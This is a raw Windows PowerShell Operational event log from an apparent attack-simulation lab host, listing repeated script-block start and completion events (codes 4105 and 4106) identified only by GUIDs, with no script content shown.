ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026862
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026861
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026839
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026838
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026837
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026836
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026825
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026824
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026823
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026822
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026821
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026819
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026818
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026817
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026816
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026815
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026813
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026812
Keywords=None
